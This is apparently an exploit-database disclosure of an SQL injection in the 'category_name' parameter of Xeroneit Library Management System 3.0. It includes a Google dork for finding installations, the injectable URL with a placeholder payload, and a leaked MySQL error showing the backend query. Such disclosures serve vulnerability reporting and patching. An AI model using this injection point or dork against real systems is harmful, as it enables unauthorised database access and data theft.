Xeroneit Library Management System 3.0 - 'category' SQL Injection

# Exploit Title: Xeroneit Library Management System 3.0 - 'category' SQL Injection
# Google Dork: "LMS v3.0 - Xerone IT "
# Date: 2020-04-09
# Exploit Author: Sohel Yousef jellyfish security team
# Software Link:
https://xeroneit.net/portfolio/library-management-system-lms
# Software Demo :https://xeroneit.co/demo/lms/home/login
# Version: v3.0
# Category: webapps

1. Description
scritp has SQLI in books category at this dir

/lms/home/book?category_name=00*SQLI

Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '0' GROUP BY
`title`, `author`, `edition` ORDER BY `title` ASC LIMIT 21' at line 3

SELECT sum(cast(cast(book_info.status as char) as SIGNED)) as
available_book, `book_info`.`number_of_books`, `book_info`.`id`,
`book_info`.`category_id`, `book_info`.`title`, `book_info`.`size1` as
`size`, `book_info`.`publishing_year`, `book_info`.`publisher`,
`book_info`.`edition_year`, `book_info`.`subtitle`, `book_info`.`edition`,
`book_info`.`isbn`, `book_info`.`author`, `book_info`.`cover`,
`book_info`.`add_date` FROM `book_info` WHERE FIND_IN_SET('57'',
category_id) !=0 AND `book_info`.`deleted` = '0' GROUP BY `title`,
`author`, `edition` ORDER BY `title` ASC LIMIT 21

Filename: models/Basic.php

Line Number: 284